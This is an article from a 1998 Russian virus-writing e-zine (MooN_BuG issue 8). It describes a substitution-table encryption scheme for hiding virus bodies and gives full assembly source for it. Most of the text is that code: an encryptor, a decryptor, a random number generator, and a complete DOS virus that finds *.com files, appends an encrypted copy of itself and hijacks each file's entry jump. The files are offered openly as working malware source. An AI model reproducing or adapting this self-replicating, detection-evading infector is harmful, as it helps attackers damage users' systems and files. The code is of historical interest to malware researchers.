[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 8, Nov 1998                                           file 007

                         Вирусная криптография (ABME)
                                                     by Pr0cedure

     Это  исходники  одной  моей  мысли,  разумеется,  так  и не доведенной до
логического конца. Я больше, чем уверен, даже убежден, что сей зверек содержит
тысячу баг, которые еще нужно было бы отлавливать... Но не в этом дело. Дело в
технологии. Технология заключается вот в чем: Байт может принимать значения от
000h   до   0ffh.  Сопоставим  каждому  возможному  значению  байта  случайное
уникальное значение слова. Получим таблицу
                            Table dw 0ffh dup (?)
     В  таблицу заносим случайные слова, но каждый раз проверяем уникальность,
то  есть,  чтобы  такого слова в таблице еще не было. Собственно, из этих слов
будем в дальнейшем составлять тело зверушки.
     После   того,   как  сформировали  таблицу,  берем  по  одному  байту  из
буфера-тушки.  Значение  байта  является  индексом  в  нашей таблице. Умножаем
значение  байта  на  2  (так как таблица в словах). Берем из таблицы элемент с
индексом, равным полученному значению и пишем его в выходной буфер.
     Обратная  операция  аналогична.  Берем  из  входного  буфера  слово, ищем
соответствие ему в таблице. Индекс соответствующего элемента пихаем в выходной
буфер - он и есть исходный байт тушки.
     Короче, все просто до безобразия... но красиво ;-)

=== Cut ===                                                           ABME.INC
; (c) Pr0cedure http://www.chat.ru/~anyfiler

ABME:
    push ax bx dx bp
    mov  bp,si
    sub  bp,TableLength
ABME0:
    lodsw
    xchg ax,bx
    push si
    push cx
    mov si,bp
    mov cx,0ffh
ABME1:
    lodsw
    cmp ax,bx
    je Ok
    loop ABME1
Ok:
    mov ax,0ffh
    sub ax,cx
    pop cx
    pop si
    stosb
    loop ABME0
    pop bp dx bx ax
    ret
=== Cut ===

=== Cut ===                                                            BME.INC
; (c) Pr0cedure http://www.chat.ru/~anyfiler

BME:
      push ax bx dx si di bp
      call BME0
RAS equ $-BME
BME0:
      xor dx,dx
;Key generate
      pop bp
      push si
      push cx
      mov cx,0ffh
LOOP_RND:
      mov bx,0fffeh
      call RND
      inc ax
      xchg ax,bx
;Compare with current keys
      push cx
      push dx
      xor dx,dx
      mov cx,0ffh
      mov si,bp
      add si,Table_Of_Keys
LR1:
      add si,dx
      lodsw
      cmp ax,bx
      jne LOOP_RND1
      pop dx
      pop cx
      jmp LOOP_RND
LOOP_RND1:
      add dx,2
      loop LR1
      pop dx
      pop cx
;Save New Key
      mov si,bp
      add si,Table_Of_Keys
      add si,dx
      xchg si,di
      xchg ax,bx
      stosw
      xchg si,di
      add dx,2
      loop LOOP_RND
;Create New Buff
      mov si,bp
      add si,Table_Of_Keys
      mov cx,0ffh
      rep movsw
      pop cx
      pop si
New_Buff:
      xor ax,ax
      lodsb
      push si
      mov si,bp
      add si,Table_Of_Keys
      shl ax,1
      add si,ax
      lodsw
      stosw
      pop si
      loop New_Buff
;Restore and Exit
      xchg cx,di
      pop bp di si dx bx ax
      sub cx,di
      ret
;---
Table_Of_Keys equ $-BME0
TOK:
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
TableLength equ $-TOK
=== Cut ===

=== Cut ===                                                       RAME_RND.INC
; (c) Pr0cedure http://www.chat.ru/~anyfiler

rnd proc near
                    push ds di dx cx bx ax
                    call @@r0
@@r0:
                    pop di
                    push cs
                    pop ds
                    add di,randomize
                    mov bx,word ptr ds:[di]
                    shr bx,1
                    mov ah,2ch
                    int 21h
                    pop ax
@@r1:
                    xor cx,bx
                    push cx
@@r2:
                    xor dx,bx
                    xor bx,ax
                    not bx
                    add bx,dx
                    neg bx
                    xor bx,dx
                    loop @@r2
                    pop cx
                    xor cx,bx
                    xor ch,cl
                    add ch,dh
                    sub ch,dl
                    mov cl,dl
                    rol cx,1
                    xor cx,dx
                    xchg ax,bx
                    pop bx
                    push bx
                    cmp bx,0ffh
                    jnc @@rr
@@rr3:
                    cmp cl,0ffh
                    jc @@rr2
                    inc ch
                    xchg ch,cl
                    xor cl,ch
                    sub cl,1
                    jmp short @@rr3
@@rr2:
                    cmp cl,bl
                    jmp short @@rr1
@@rr:
                    cmp cx,bx
@@rr1:
                    xchg ax,bx
                    jnc @@r3
                    jmp short @@r4
@@r3:
                    xor dh,dl
                    add dh,dl
                    xchg dh,dl
                    ror dx,cl
                    sub bx,2
                    jmp short @@r1
@@r4:
                    xchg cx,ax
                    mov word ptr ds:[di],ax
                    pop bx cx dx di ds
                    ret
randomize equ $-@@r0
          dw 2406h
rnd endp
=== Cut ===

=== Cut ===                                                       ABME_VIR.ASM
; (c) Pr0cedure http://www.chat.ru/~anyfiler

Model Tiny
.code
org 100h
start:
      db 90h
      jmp Virus
      db 100h dup (90h)
Virus:
      mov si, word ptr ds:[102h]
      add si,VVV+4
      mov di,si
      add di,MyLength + 3
      mov cx,MyLength / 2 + 1
      call ABME
      jmp Vir1
include abme.inc
TBL:
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
dw 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h, 0000h
VVV equ $-Virus
Vir1:
      call EntryPoint
EntryPoint:
TBL_OFS equ $-TBL
StartOffs equ $-Virus
      pop bp
      mov si,bp
      add si,OldBytes
      mov di,100h
      cld
      movsw
      movsw
      mov ah,4eh
      mov cx,0fh
      mov dx,MaskOfs
Interrupt:
      int 21h
      jb NotFile
      call SomeInfect
      mov ah,4fh
      jmp short Interrupt
NotFile:
      mov si,100h
      jmp si
SomeInfect:
      mov dx,9eh
      mov ax,3d02h
      int 21h
      xchg ax,bx
      mov ah,3fh
      mov dx,bp
      add dx,OldBytes
      push dx
      mov cx,4
      int 21h
      pop di
      cmp byte ptr ds:[di],90h
      jne Infect
CloseFile:
      mov ah,3eh
      int 21h
      ret
Infect:
      mov ax,4202h
      xor cx,cx
      xor dx,dx
      int 21h
      sub ax,3
      push ax
      mov dx,bp
      sub dx,StartOffs
      mov cx,VVV-TableLength
      mov ah,40h
      int 21h
      mov si,bp
      sub si,3
      mov di,bp
      add di,MyLength
      push di
      mov cx,MyLength+3
      call BME
      push cx
      mov ah,40h
      mov dx,bp
      add dx,AAV+RAS+Table_Of_Keys
      mov cx,TableLength
      int 21h
      pop cx
      mov ah,40h
      pop dx
      int 21h
      mov ax,4200h
      xor cx,cx
      xor dx,dx
      int 21h
      mov si,bp
      add si,OldBytes
      mov word ptr ds:[si],0E990h
      pop ax
      mov word ptr ds:[si+2],ax
      mov ah,40h
      mov dx,bp
      add dx,OldBytes
      mov cx,4
      int 21h
      jmp CloseFile
AAV equ $-EntryPoint
include bme.inc
include rame_rnd.inc
MaskOfs equ $-EntryPoint
db '*.com',0h
OldBytes equ $-EntryPoint
dw 9090h, 9090h
MyLength equ $-EntryPoint
end start
=== Cut ===